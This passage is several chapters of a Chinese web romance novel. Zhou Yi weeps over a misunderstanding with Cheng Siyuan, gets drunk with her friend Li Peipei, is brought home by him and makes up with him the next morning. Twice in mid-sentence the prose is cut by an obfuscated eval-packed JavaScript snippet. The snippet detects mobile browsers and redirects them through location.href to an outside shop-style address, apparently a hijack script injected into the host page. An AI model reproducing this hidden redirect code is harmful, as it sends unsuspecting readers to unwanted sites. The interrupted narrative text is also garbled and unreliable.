她满脸无语地看着趴在床上抽噎个不止对周依,忍了半天,实在忍不住道:“大小姐哭够了嘛,再哭下去我家都快被淹了。” 周依不语,继续抽噎。 “还哭呢?马上你都脱水了。” 周依埋头,依旧抽噎。 “再哭我爸妈可就上来了。” 闻言,抽噎声戛然而止。 “嘿?怎么我不管用,我爸妈就这么管用?”李佩佩纳闷道。 周依深吸一口气,从床上爬起来,哽咽着喉咙道:“不能让、让叔叔阿姨知道你有、有这么丢人的朋友。” 李佩佩差点笑出声,调侃道:“你还知道你丢人的啊,看来还有点自知之明。” 周依白了她一眼,还不忘拿纸擦了擦脸上的泪。 李佩佩看她情绪稍有缓和,往身边坐了坐问:“所以发生什么了?” 周依瘪着嘴,又是一副要哭的模样,但好在没真掉出珍珠来,只是哽咽着全程,把事情七七八八跟她讲了一遍。 “什么?程司远居然这么恶劣!”李佩佩一脸怒不可遏道:“真是气死我了,亏我之前还觉得他这人太挺不错,现在想想也就空有一副皮囊罢了!” 她骂完又忽然顿住,略觉好像有哪里不对,皱了皱眉,试探道:“所以你去的那个地方是谁的家,程司远的?还是他那个同事……童什么的?” 听她这么问,周依心里又是一阵抽痛,双手环着自己,摇头道:“不知道。” 她咬了咬唇,犹豫半天,还是开口道:“或许是他们两个人的吧。” 李佩佩惊地一下从床上跳下来,难以置信地看着周依,说:“什么?你的意思是他们……同居了?” 38.酒醉 李佩佩说完,忽然又想到什么,连忙道:“不对不对,应该不可能。我前段时间问过段梓坤,他说程司远在国外不可能谈恋爱,一个劲儿学习来着。” “我不知道。”周依往下缩了缩脖子,把自己抱紧了点。 李佩佩皱着眉,把前因后果又在脑子里理了一遍,越想越觉得奇怪,不知道程司远在图什么,一个卖蛋糕的地址有什么不能给得,非要—— 等等。 李佩佩急忙道:“诶依依,那个蛋糕有什么生产日期,或者标签、贴纸、名字之类的吗?” “什么,提拉米苏?”周依想了想,摇头道:“没有,就是一个很普通的餐盒,质量挺好的那种,再得什么也没有。” 李佩佩眼睛一跳,说:“你觉得……我是说有一种可能,可能那提拉米苏不是他买的,而是他做的,或者是——” 她瞟向周依忽然顿住,见对方满脸委屈舌头打了个结,又肯定道:“嗯,应该就是他做的。” 李佩佩偷偷抹了抹汗,其实她是想说,或者是他那个同事做的也说不一定。但……还是算了。 她人比较善良。 周依身体有一瞬僵硬,眸底迷茫飞快闪过,但很快又被心头涌上来的失落所掩盖。 如果真是程司远做的,那从某种意义上来说地址确实是对的,也就不存在他骗她这一说辞了。 说到底他住在哪、跟谁住,她都没立场,也没权利去说什么。既然这样,那她还有什么理由表现出这份不该有的愤怒与酸涩呢。 周依重新躺回床上,将脸往被子下藏了藏,心里乱糟糟的一片,觉得自己整个脑袋都要炸了, 过了好半晌,才闷声嘟囔道:“别说了,我不想再提他了。” 李佩佩见她又一副蔫样也不好再多说,坐在床边,轻拍着她道:“好啦,不想提就不提了,管他什么样呢。” 她话锋一转,突然笑道:“对了,你没吃饭呢吧,我家烧烤要吃吗?” 周依见话题终结,还是有吃的,蓦地从床上坐起来,伸头往窗外望了望,就见太阳已然落了山,月光柔和似絮,繁星闪烁。 突然也觉得饿了起来,她抬起头看着李佩佩,一脸委屈模样道:“我吃。” “噗哧”李佩佩没忍住笑了出来。 果然,吃才治百病。 她轻咳一声,问:“那你想在哪吃,在楼上?还是楼下?” “楼下。” “那就楼下。”李佩佩先一步楼下道:“走吧,本小姐亲自给你烤。” 周依也连忙从床上下来,快步跟上附和道:“那我得多吃点,不能枉费你一番苦心。” 晚风吹拂着树叶,发出微弱的沙沙声响,楼下烧烤摊上三五成群的人欢笑着、嬉闹着,热闹非凡。只是独自坐在一旁的藤椅上的周依,略显得有些格格不入。 她心中酸涩难耐,微风划过嘴角,也只觉得苦的令人想咂舌,不知不觉又是红了眼眶。 “依依,发什么呆呢,快尝尝。” 李佩佩端着烧烤朝着周依走了过来,看她眼眶潮红,忍不住出声道:“哎呀,都说不提了,这怎么又哭了。” 周依吸了吸鼻子也烦恼自己的不争气,苦笑道:“佩佩,你家有酒吗?” 李佩佩一愣,皱了皱眉心道:“有是有……但我记得你好像还没喝过酒吧,上次毕业聚餐你也没喝。” 周依点头道:“我就想尝尝。” 李佩佩抿着唇犹豫片刻,还是叹息道:“那好吧,你等着,去给拿。” 周依见她走了,蓦地偏侧过头,在月光的照耀下,一滴泪从她眼中滑落。 不一会儿。 “来了。” 李佩佩说着便把四罐啤酒放到桌子上,继续道:“我陪你一起。” 周依惊讶道:“这太多了吧,我就尝尝,没想喝醉啊。” “怕什么,成年第一次。”李佩佩豪爽的开了两罐道:“来,这是你的,不醉不归。” “噗哧”一声,周依成功被她给逗笑,说:“那可不行,我现在孤家寡人,家里可没人照顾醉鬼。” “嗯?你妈他们出差还没回来?”李佩佩听了挑眉,又将手下烧烤递给周依道:“尝尝怎么样。” “没有,可能还要几天吧。” 周依接过烧烤,低头吃了一口,随即眼睛一亮道:“不错嘛佩佩,你已经得到真传了。” 李佩佩扬了扬下巴,自豪道:“那是,佩姐出手,烧烤咱有。” 她说着就拿起啤酒喝了一大口,瞬间痛苦布了满脸,不由抱怨道:“我去,这玩意儿怎么还是这么难喝,真苦。” 周依闻言也拿起一罐啤酒,仰头喝了口,同样一脸痛苦面具道:“确实。” 她看着手里的啤酒有些发愣,直到嘴巴里的苦味儿散去,心里的苦涩就又再次浮了出来。她蓦地回神,仰起头又是一大口。 “咳咳、咳咳咳、咳。” 或许是因为喝得太急,啤酒沫映入喉头,引得周依一阵剧烈的咳嗽,脸都涨红了。 李佩佩见状连忙伸手去拍她的后背,切声道:“哎呀,你慢点,急什么。” “咳、咳咳,我没事,第一次没经验。”周依直起身子,缓了缓。 李佩佩瘪着嘴,叹息道:“你要是心里难受就喝吧,我陪着你,没事。” “那我要是醉了怎么办。”周依道。 “跟我睡。”李佩佩白了她一眼说:“我还能让孤家寡人一个人回家不成?” 周依张开双臂,一个拥抱将她抱在怀里道:“佩佩你真是太好了,我都要感动哭了,呜呜呜。” “哎呀,行了行了。” 李佩佩把这八爪鱼拽下身,又伸手拿了一根烧烤递给她道:“快吃快吃,别光顾着喝,这都凉了。” 周依破涕为笑道:“知道啦,佩姐。” 弯月如钩,静静地挂在树梢枝头,繁星点点,在苍穹上熠熠闪烁。程司远呆坐在电脑面前,周身摆满了资料,乱糟糟的,与一之前皆然有序的模样截然不同。 “你手术方案看的怎么样了。”童遥拿着电脑,一脸疲惫地向他走来。 程司远被叫的回了魂,说:“哦,还没看。” “什么,你还没看?”童遥伸头看向他的电脑,震惊万分,反问道:“那你一下午都在干什么?” 程司远皱了皱眉,紧抿着唇没有说话。 童遥叹了声气,手指在键盘上轻敲道:“我整理了患者的相关资料,还有目前国内相关病历,先发给你了。” 她说着,又蓦地瞥了眼程司远。 中午的事她本来就觉得莫名其妙,想开口问问情况,但以她对他现有的认知来看,感觉自己只会得到—— “跟你没关系”、“别问”、“没事”之类的话,打发她。 于是,童遥张了张嘴,还是抿唇忍住了。 只不过,还没到半个小时,她还是开口道:“你跟周依这是……吵架了?” 倒不是因为其他什么,就是这六七月份天气,童谣居然感觉冷飕飕的,如果再不问问,她敢确信这房间马上都能泼水成冰。 程司远身形一顿,在听道“周依”二字,眼底很快划过一丝伤痛,随即又垂眸掩去,淡声道:“没有。” 童遥咧嘴,心道看吧,果然没—— 她心里还没想完,就听程司远又说:“你先回去吧,辛苦了。” 童遥一个趔趄差点摔倒,意外道:“真是奴隶翻身把歌唱,我居然可以回去了?” 她还以为今天又得熬个大夜,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212650|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这么早就能走了。不由心里感叹,黑心地主终于做了回人。 童遥话不多说,收拾东西转头就走,半刻也不敢耽误。 但她走到门口又忽然停下下来,犹豫半天,还是说道:“要是吵架了就去好好道个歉,解释解释,对女生还是得有点耐心才行。有事打电话,走了。” 程司远听见关门声,他合了面前打开却没怎么动的电脑,深深叹了口气,闭了闭眼。 道歉嘛…… 正所谓酒过三巡,菜过五味,人之憔悴,只能买醉。没一会儿功夫,周依就开始意识不清了。 “佩佩啊,你说、你说程司远他……他是不是很过分。”周依拿着啤酒仰头又是一口。 李佩佩玩转着手里烧烤签还算清醒,侧着头看着她,说:“是是是,他确实很过分。你都已经问了我八百遍了。” 闻言,周依噘起嘴表示不满,拿着啤酒的手紧了又紧,说:“那还不都是怪他!他居然敢骗我,什么手作坊,分明就是他家!” 她说完,突然又想起什么,眼眶“唰”的就红了,低着头自嘲道:“不对,那不是他家,那是他们的家,他、们。” 说完,又是抬手要往嘴里灌。 “诶诶诶,别喝了,你都喝完一罐了。”李佩佩伸手去拿周依手中的啤酒,却是扑了个空。 “嘿嘿,你抢不过我。” 周依笑了两声,随后又伸手去晃李佩佩的酒罐道:“嗯?佩佩你这么回事,怎么一瓶都还没喝完,是留给我的嘛?” 她歪头看着李佩佩,傻笑道:“佩佩你真好,那我就不客气了。” 仰头又喝了一大口。 李佩佩真是要被气笑了,一把抢过周依手里的酒瓶,叹气道:“现在还都不确定他有没有跟童遥在一起,你就别喝了。” 周依被抢走酒瞬间满脸委屈,随即听到她说的,又倔强道:“他们有没有在一起、他跟谁在一起跟我有什么关系,我跟我一点关系都没有!一、点、都、没、有。” 李佩佩把啤酒放到一边,问:“跟你没关系那你喝什么?” 或许是真的醉了,周依觉得自己脑袋晕晕呼呼的,目光游离,趴在桌子上,嘴里嘟囔着:“我不知道,就是好难过,我好难过……” 她感觉鼻尖开始发酸,眼前也渐渐模糊起来,抬眼看着李佩佩,指着自己的脑袋,问:“佩佩,我这是不是病了?” “没有,胡说什么呢。” “不可能,它就是病了。” 周依又指着自己的心脏,喉咙颤抖道:“这也病了。” 她伸胳膊挡住自己脸,眼泪从眼角划出,流向另一个眼角,说:“我想看病,我想找他。” 李佩佩心里五味杂陈,伸手摸着周依的头发,犹豫道:“要不……你问问他?听听他怎么解释。” 周依吸了吸鼻子,摇摇晃晃地坐起身,酒意上头,脸颊微微发红,喃喃道:“对、你说的对,我得打个电话问问。” 她在身上四处寻找手机,迷糊道:“诶?我手机呢,我手机在哪,怎么不见了?” “嗡——嗡——嗡——” 周依眼前一亮,看向桌子边惊喜道:“哦!我的手机在那呀!” 但她酒意正浓,刚起身腿下就是一软,还差点摔倒。 亏得李佩佩眼疾手快,一把抓着周依,扶着她重新坐好道:“你喝多了,别乱动。” 从她手里拿回手机,继续道:“这是我的手机,你先坐好,一会我帮你找,我先接个电话。” “我没喝多,那明明就是我的,你给我。”周依撅着嘴,眼看又要起身去拿李佩佩的手机。 “喂?你好,请问是哪位?”李佩佩接道。 手机里传来另一端低沉浑厚的声音:“是我。” 39.胡话 “哈?程司远?你怎么——诶、依依你别。” 李佩佩还没说完,手机就被摇摇晃晃的周依一把抢了过来。 “什么,怎么了?” 程司远电话里的声音略显焦急。 周依拿着手机朝着李佩佩晃了晃,笑道:“你看,我抢到了吧!我说了我没喝醉。” 炫耀完之后,她又皱眉看着手机,嘟囔道:“谁给我打电话啊。” 没等李佩佩来得及阻拦,周依张口就道:“喂?谁啊。” “依依?” 程司远顿了下,说“你……喝酒了?” 周依愣住,随后满脸茫然地看着李佩佩,指着手机道:“程司远?怎么我没给他打电话,他就先给我打来了。” 李佩佩滞在半空中的手,下一秒就猛拍向自己脑门,心道真是没眼看,但求自生自灭,自求多福吧。 “你在哪?”程司远的语气有些急促。 周依闻言皱眉,不悦道:“你管我在哪。” 看看,这人喝醉就算了也改不掉她那倔脾气。 蓦地,手机里又传来发动机和程司远的声音:“你在李佩佩家别动,我去找你。” 这醉得稀里糊涂的人注意力却是好的出奇,一下就发现了不寻常处。 “谁跟你说我在佩佩家?”周依扭道:“我不在,你别来。” 她说完又蓦地想起什么,眸色暗了暗,达拉着眼角,嘴里嘟囔道:“来找我……你上次也说来找我,可你人在哪?你知不知道、知不知道我……” 话到最后,声音渐渐被委屈所淹没。 程司远心口像是被压了块巨石,闷痛闷痛的。他抿了抿唇,脚下将车开得飞快道:“抱歉依依,我这几天确实是有点忙,我——” “你骗人!” 周依一下打断程司远,对着手机怒吼道:“你就是故意的,骗子。” “这件事等我去了慢慢跟你解释。”程司远道:“你听话,乖乖别乱走,呆在那等我。” “我不相信你!” 周依说完抬手就挂了电话,她看向李佩佩,眼泪在眼眶里疯狂打转道:“佩佩,程司远他骗我,他就是个混蛋。” 李佩佩抽出几张纸递给周依,问:“他刚刚说什么,要来找你?” “不可能,他不会来,他讨厌我。”周依接过纸巾,垂眸趴在桌子上说:“佩佩,我头好痛啊。” 李佩佩无奈,叹气道:“谁让你喝这么多的,刚刚都让你少喝点了。” 她拿过身后的小毯子叠了一下,放在周依手边道:“趴这上面吧,软点。” “佩佩,你真好。” 周依把毯子搂在怀里,嘟囔着说完就迷迷糊糊的睡着了。 小小的烧烤摊上迎接着一批又一批的客人,他们驻足在此,把酒言欢。微风吹过,酒意更浓。 不知道过了多久,周依耳边忽然响起一阵窸窸窣窣的声音。她皱了皱眉,眼皮轻抬,或许是因为酒醉的缘故,看起来眼睛朦胧,眼神也似有些迷离。 “依依,醒醒,我们该回家了。” 耳边,程司远的声音逐渐清晰起来。 周依朝着声音的方向努力眨了眨眼,想努力看清来人的面容。 但不知道为什么,不管她怎么眨眼,眼前的人依旧是模糊。 她伸出手抚上那人的面庞,问:“你是谁啊?” 声音轻软还有一丝酒后的慵懒。 程司远一怔,没有闪躲。 周依手指轻划过他的眼睛、鼻梁,最后停在脸颊上,捏了捏。她直起身体,酒醉微醺,轻笑一声道:“程司远,你来啦。” 她醉了,平日里那双灵动的眼睛此时此刻也变得迷离飘渺,像一潭深不可见的泉水,让人看不透,白皙的脸颊微微染上红晕,原本整整齐齐的发丝也零零散散的飘落。她像是褪去了全身的倒刺,软软糯糯,没有一丝防备。 随着周依指尖的滑动,那酥酥麻麻的感觉,瞬间在程司远全身蔓延,他的身体开始发烫,仿佛体内有一团火,急促猛烈地燃烧着。 “嗯,我来了。” 他声音低沉沙哑,却是有说不完的温柔。 周依微微眨眼,脸上泛着薄薄的红光,突然委屈起来,说:“你去哪了啊,为什么不来找我……” 程司远呼吸一滞,瞳孔微微闪动道:“我、依依,对不起。” “为什么道歉,为什么不来找我,我……我很讨人厌,是嘛?”周依眼眶微的发红,声音也有些颤抖。 程司远伸手覆上她的手,声音沙哑,心疼道:“不是,你很好,很好很好。” 他将手从脸上拿下,轻轻握在掌心,抬眼注视着面前人迷离湿润的眸子,轻声道:“是我的错,是我没注意到你,对不起。” 酒醉人心,周依脸色红润微醺,混沌不清的脑袋里思绪飘飘荡荡。半晌,她猛然抽手,扭转过身体背对着程司远道:“你骗我,那地方根本就不卖蛋糕,那明明是……” 倔犟的声音到最后,也只剩下了哽咽。 程司远有一瞬的无措,但很快又恢复平常,伸手扶着她过肩膀面朝自己道:“那是我家。” “你家?” 周依眼中氤氲着雾气,想到童遥给自己开门的画面,就觉得胸口堵得难受。这一瞬,前所未有的酸涩,也纵横交错缠绕在了她的心头。 “我不信。”她说。 程司远垂眸拉起周依的手,认真道:“是真的,依依再信我一次,好嘛?” “我不要。”周依再次抽回手道:“我不想跟你说话了,我要去找佩佩。” 说着便要起身。 可哪有那么容易? 这不刚起身,程司远就伸手拉住了她的胳膊,轻轻一用力,便跌入怀中。 “你放开。”周依一惊,挣扎着就要起来。 程司远紧紧环抱着她,无视她娇柔的挣扎,贪婪她的每一寸美好,轻颤着声音道:“对不起,是我不好。别走。” 周依鼻尖凝起酸涩,眼眶微红,潋滟的眼眸酝着晶莹,双手依旧是挣扎着在他胸膛胡乱地挥舞。 可不到半晌,又渐渐停了下来,她的眼泪像是断了线的珍珠,落在程司远肩头,不住地哽咽道:“走的,难道不是你吗?” “三年啊,哥。” 霎时间,程司远的心内如同被重重击打了一下,眼中也似有惊涛骇浪,他紧紧地抱住周依,几乎要把她揉进身子里。 他身体微微发着抖,说:“对不起,是我来晚了。” 周依一下泄了力,下巴抵在程司远肩上,酒意上头,思想混混沌沌。她嘴里喃喃道:“道歉的人是我才对,是我惹你生气。” “对不起,哥。” “别走。” “求你。” 程司远伸手抚上她的头发,声音带着哽咽道:“不是你的错,我从来都没有怪过你。” “真的,不会走了。” “永远都不走。” 醉意已深,周依轻垂着的手抚上程司远的后背,鼻尖萦绕着干净清冽的味道,让 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程司远蓦地僵住,原本早就晃动的心,这会儿更是成了一团乱麻,胸口急速跳动着,似乎有什么东西在沸腾的血液里蔓延,汇聚在心尖。烫得他几乎不敢呼吸,只能无措又徒劳地拼命遏制。 他覆上周依的手,喉结滚动几下,声音带着些许暗哑道:“我不走,我去给你倒杯水,喝了就不难受了。” 周依迷迷糊糊眨巴着眼睛,随后又将自己手里拉着的胳膊,往怀里抱了抱,嘟着嘴假装没听见。 程司远轻笑一声,眼里满是宠溺和无奈,他另一只手轻抚上她的头发,柔声道:“依依乖,听话,我马上就回来。” 周依犹豫片刻,还是瘪着嘴松开了。随后,又下意识伸着胳膊地摸向枕边,直到触到那个藕粉色的大象玩偶,才满意地咧着嘴角笑了一声。 她重新调整了姿势,抱着大象将自己整脸都藏在它那面软软的肚子上。 程司远垂眸看着面前的人,眼底说不尽的温柔似要漫溢而出。半晌,他轻叹一声,蜷了蜷手指,起身走了出去。 只是等他泡好蜂蜜水再回来时,这晕晕乎乎的醉猫已然蜷缩成一团,睡着了。 “依依醒醒,先把水喝了,喝完再睡。” 程司远将周依从被窝里拉了起来,让她半仰着靠在自己身上。 周依被突然叫醒有些不耐烦,皱眉道:“唔……我不喝,好困,我要睡觉。” “就一口,甜的。”程司远把吸管递到她嘴边道:“来,你尝尝。” 虽是不耐烦,但周依还是听话地张开嘴喝了一口,奇道:“真的诶,甜的。 她傻笑一声,继续道:“哥你还真会魔法啊。” 程司远喉咙轻颤,泄出几声轻笑道:“傻瓜,说什么呢。” 周依瘪了瘪嘴,嘟囔道:“我才不傻呢。” 程司远垂眸嘴角勾了勾,本着想让她好好睡的想法,伸手便要把她手里的大象玩拿开。 可谁知刚抽到一半,这醉猫就不乐意了,紧皱着眉心又把大象往怀里抱了抱,嘴里还不忘道:“我的,你不能抢。” 说完,更是又往程司远怀里钻了钻,直到找到个舒服的位置,才松了眉头,满意道:“司远哥哥送的。” 话音落耳,便又沉沉睡去。 程司远凝视着怀中的人,漆黑的眸子里蕴着情动,他不受控地慢慢低头靠近,发丝的椰香和淡淡的酒味,只是瞬间,就占满了他的鼻息。 40.密码 唇齿毫厘间,程司远炽热的呼吸喷洒下来,打在周依脸颊上,搔得她有些发痒,侧了侧头,嘴巴蠕动着,轻唤道:“哥。” 程司远蓦地停住,他紧咬着牙关,闭了闭眼,用尽全力克制住欲念,缓缓抬起头,向后仰去…… 夏日清晨,阳光透过窗帘的缝隙洒进房间,在墙上留下斑驳光影,空气中弥散着一种懒惰而安详的气息,让人身心舒畅。 睡梦中的周依在床上轻轻翻了个身,嘴角勾了勾,像是在浅笑。她做了一个很美很甜的梦,梦到程司远在跟自己道歉,梦到他说他不走,还梦到他抱着自己…… 真不想醒。 周依伸手移向床边,触碰到一个绵软的物品,习惯性地抱在怀里。那是她最喜欢的大象玩偶。 不知过多久,这迷迷糊糊的人终于睁开了眼睛,半睡半醒的眼神很是朦胧,酒精带来的昏沉还未完全散去,意识也仍在迷雾中徘徊。 她皱着眉看着自己怀里的大象,又翻身看了看屋内的摆设。过了好半晌,她才揉着头,缓缓起身。 怎么到家了? 周依按了按太阳穴,记忆碎片零星散落。 昨天晚上她和李佩佩到下楼吃了烧烤,然后自己喝了酒,好像还聊到了程司远,说是要给他打话—— 想到这,周依呼吸一滞,猛地挺直身体,脸色惨白。 等等,不会吧。 难不成—— “嗯?你醒了。”程司远拿着杯牛奶站在门口。 不是梦。 周依猛地抬头看着他,瞳孔骤缩,本能地向后移了一下,下一秒反应过来又急忙将手中的大象藏在身后,脸上全是无措。 “我——” 音节出口,周依就被自己嘶哑的嗓音吓得住了嘴。 程司远见她动作慌乱,垂眸嘴角微扬了下,随即便又隐去。 “头还疼吗?”他走上前将牛奶递给周依道:“刚热的,喝了吧。” 周依在床上迟疑一会儿,但还是伸手接过,仰头喝了一口。 温热的牛奶划过喉咙,那干裂的感觉瞬间舒缓不少,她轻咳一声道:“不疼了。” 说完顿了顿,又轻咬着嘴唇,犹豫道:“谢谢。” 程司远轻笑一声,问:“谢什么?” 不知道为何,周依忽觉自己脸颊有些发烫,她别过头,支吾道:“牛奶,谢谢你的牛奶,还有……谢谢你送我回家。” 说到最后,声音却是变得微不可闻了。 “好了,不逗你了。” 程司远伸手摸了摸周依的头发,俯下身平视着她,眼眸深邃,柔声道:“依依,把你手机给我好嘛?” 周依觉得意外,不知道他要干什么,转头道:“要我——” 顷刻间,四目相对,周身的气息倏地被程司远所占据。他的呼吸打在她脸上,痒痒的。很熟悉 周依黑眸陡然窜过一抹慌乱,她猛地转过头,涨红了脸,连耳尖也跟着泛起红雾,眼神四下乱转,继续道:“要我手机干嘛?” 她嘴上虽是疑问,但手却早就听话地伸向床头,把手机递给了程司远。 程司远接过手机,垂眸道:“找不到你,我会担心。” 周依一愣,心脏也蓦地空了一拍。 他担心我? 程司远手指在屏幕上轻点几下,便将手机递还给周依道:“好了。” “啊?”周依回神道:“哦好。” 她拿过手机定睛一看,两排数字? 第一排她熟悉,跟段梓坤给自己的一样,是他的电话号码。可第二排—— 946894 这六位是…… 她微微蹙眉有些不解,疑问道:“这是什么?” “我的手机号和门房密码。”程司远看着周依,,神情认真道:“下次别再跑了,我不想你受伤。” 周依抬眸对上那双漆黑深邃的眼眸,她有一瞬的闪躲,面颊微微泛红,努力控制着自己的呼吸,支吾道:“我、我知道了,下次……不会了。” 程司远轻嗯一声,起身微笑道:“那就起来吃饭吧,厨房做了南瓜粥。” “你要走了吗?”周依出声问道。 说完,她又觉得自己表现的太过突兀,连忙低头掩饰道:“我的意思是你吃完再走吧。” “不了。”程司远温声道:“我去医院还有点事。” 周依觉得有些奇怪,如果她没有记错的话今天应该是周末。可医院周末还要去上班吗? 但迷迷糊糊又想到昨天晚上的对话,便出声试探道:“你最近……很忙吗?” “嗯,最近医院里来了位病人,她的病症有些复杂。”程司远垂眸,脸上的表情有一丝凝重。 他沉默几秒,又道:“跟我妈生前的病症有些相似,所以我——” “我明白的。” 周依脱口而出。 关于苏晴的事她虽然知道的不多,但也明白必定生前饱受疾病的折磨,心里不禁也跟着难受起来。 “我知道。”她咬了咬唇偷瞥向程司远看了一眼,随即又很快收回,微微颔首道:“别太勉强自己。” 声音虽小,但程司远还是听到了。 他嘴角微弯起一个弧度,说:“放心,我不会累着自己。童遥虽然手术经验不多,但理论基础很好,有她帮我这次说不定就成了。” 听到“童遥”二字,周依蓦地打了个激灵,那一幕幕给自己开门的画面也瞬间飘现在脑海。她抓着被子的手指微微发白,心中也有些发闷,垂眸问道:“童、姐姐她……她住你家?” 程司远闻言愣了愣,似乎没想到周依会这么问,急忙开口解释道:“没有,她住另一栋。离的近,所以叫她来帮帮忙。” 他说完,又补充了道:“我家就我一个人。” 周依也跟着愣住,不知道程司远为什么又加了这么一句,只感觉他解释这么清楚反倒显得自己很在意。 一时间也不知道该说什么了,低着头“奥”了声,就抿唇不语了。 程司远蓦地笑了下,他俯身歪着头看着她,说:“这是……吃醋了?” 声音有些戏虐。 霎时间,周依的脸羞红一片,猛地扑倒在床上,将被子蒙过头顶,对着程司远大喊道:“你、你神经病吧,说胡说什么,赶紧去上班吧,再见!” “噗哧”程司远笑出了声,说:“好好好,我胡说,我瞎说的。” 半晌,他轻咳道:“那我走了,你记得把粥喝了,别一会儿凉了。” “哎呀,知道了知道了,你快走。”周依躲在被子里闷声说着。 程司远轻“嗯”了声,抬腿便走了出去。 但他声音里的笑意,还是穿过那层被子烫到了周依的耳朵。她想能很清晰得感受到脸颊烧了起来,完全不受控。 扑通、扑通。 她的心跳重如擂鼓。怎么办…… 会被发现的。 “嗡——嗡——嗡——” 周依不知在被子里藏了多久,直到听见手机的震动,这才挣扎着从床上翻坐起来,见是李佩佩的视频,伸手便接通了。 “诶?依依,你脸怎么这么红啊,酒还没醒吗?”李佩佩看着手机问道:“不应该啊,你总不会是酒精过敏吧?” 周依也透过视频看到了面脸通红的自己,急忙伸手遮了遮,掩饰道:“没有没有,我对酒精不过敏,应该……应该是太热了吧。” 说完,还尴尬地讪笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260328|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两下。 李佩佩皱了皱眉,一脸疑惑道:“程司远昨晚上没给你开空调吗?这大夏天的不得热疯了,也太不细心了。” “啊?你这么知道程——” 周依下意识开口,说了一半才反应过来,昨天不就是程司远从她那儿把自己接来到嘛,她肯定知道。 于是,周依舌头在嘴里打了个圈,又说:“程司远就是这么粗心,你看看把我热的。” 说完还不忘用手朝着自己扇了扇,去热。 瞧瞧,这人仗着自己脸红,说谎也开始理直气壮了。 只不过,周依心里暗暗双手合十,表示她对不起她哥,下次再也不—— 嗯……下次再说吧。 李佩佩看着屏幕里的周依挑了挑眉,说:“怎么回事,我怎么感觉你今天怪怪的?” 随后,又是一脸“有猫腻”的表情,勾起嘴角调侃道:“说,你们昨天背着我都干了什么?” 话音落耳,周依一下就慌了起来,脑子里全是昨天自己抱着程司远撒泼打滚的画面。瞬间,话也说不清了,结巴道:“没没没有、没有干什么,你别瞎说。” 她心虚地咽了咽口水,眼神飘忽不定道:“我昨天回来就睡着了,再的……再的你不都知道嘛。” “诶,别,你可别冤枉我,我没有偷窥别人的癖好。”李佩佩拿着手机换了一个位置坐下道:“昨天他来之后我就去给我爸妈帮忙了,你们俩说了什么我还真不知道。” 她挑了挑眉,一脸八卦道:“要不你给我讲讲?” 讲讲?讲什么? 讲她昨天抱着程司远就是一顿哭?还是讲她拽着程司远点手不放?? 拜托,她不要面子嘛! 顿时,周依羞地耳根子直冒烟,急忙用手遮住摄像头,不让自己这囧样大白于天下,慌乱道:“讲什么讲,我断片了,不记得。” “哎哎,怎么回事,你怎么还黑了?”李佩佩看着黑屏坚持不懈道:“躲什么躲,快说说嘛,说说嘛。” “不要、不说。”周依道。 李佩佩瘪了瘪嘴,觉得得来点看手段。 于是,她朝着黑屏就是一笑,说:“一顿烧烤,我亲自烤。” 听到“烧烤”二字,周依眼睛一亮,下意识就开口答应,可随即又反应过来,撇过头倔强道:“不行!” “哟?”李佩佩挑眉,继续道:“那两顿烧烤,还可以叫人。” 这下,周依又开始蠢蠢欲动了,把遮着摄像头的手偷移开一个缝隙,试探道:“亲自烤?” 李佩佩重重点了点头,说:“可以。” 周依歪着嘴,笑道:“那三顿。” 李佩佩看着手机屏幕里的那束光,脸上挂着极其礼貌的微笑,一板一眼道:“周依同学,请你不要太过分了好吗?” 随即,她又把脸凑到屏幕前,张着大嘴道:“你怕不是想累死我!” “噗哧”周依忍不住笑出声,她把手移开,屏幕上就多了一只笑歪身子的“馋猫”。 半晌,她深吸了一口气道:“其实也没说什么,就是把误会解开了。” 见周依肯说了,李佩佩也迫不及待地开始八卦连环问:“解开了?怎么解开的?谁开的口?具体说说?” 周依尴尬地摸了摸鼻子,说:“就……说我去的那个地方是他家。” “那他那个同事呢,你问了吗,他们怎么回事?” 被李佩佩这么一问,刚刚程司远戏虐的声音再次浮现在周依脑海中,那脸上刚消散的红晕,眼看又要浮现,她急忙轻咳一声道:“他在家加班,一个人忙不过来,说同事住得近就叫去帮忙了。” 李佩佩挑了挑眉,看着屏幕问:“那你怎么看,信吗?” 41.微信 “什么我怎么看?”周依疑惑道:“信什么?” 李佩佩嘴角抽搐了下,说:“还能有什么,程司远说的话啊。” 周依愣了愣,似乎没想过这个问题,垂眼玩自己手里的大象玩偶道:“他对我很好。” 她沉默几秒,继续道:“他的话我信。” 李佩佩眼睛闪了下,问:“还有呢,你们还说了什么?” “还说了什么……” 周依眉沉思着,脑海里闪过零星片段,继续道:“就三年前的事呗,我跟他道了个歉。” 李佩佩立马两眼放光道:“嗷嗷嗷,我记得。你那时候还出车祸了,把我吓一跳。” “呦,那你记忆还挺好啊。”周依道:“记这么清楚。” “那是。”李佩佩一脸骄傲,又问:“他怎么说的?” 周依微微颔首,嘴角勾了勾连自己都没察觉,说:“他说没有怪我。” “嗯?就没了?”李佩佩呆呆的眨眨眼道:“他没说为什么走得那么急嘛?” “没有。” 周依说完,蓦地又想起当时张舒欣和程毅两人说过的话,虽然当初她不信,但现在看看好像确实是自己想多了。 她耸了耸肩,说:“可能就是学校要求的急吧。” “害,那不重要,反正误会解开就行了。”李佩佩顿了顿,又道:“对了,还有个事。” “什么?”周依问。 “这马上报志愿了,你要去哪?外地?” 